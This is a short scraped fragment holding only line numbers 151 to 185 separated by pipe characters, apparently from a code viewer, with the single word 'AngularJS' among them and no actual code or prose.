| 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | AngularJS 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 |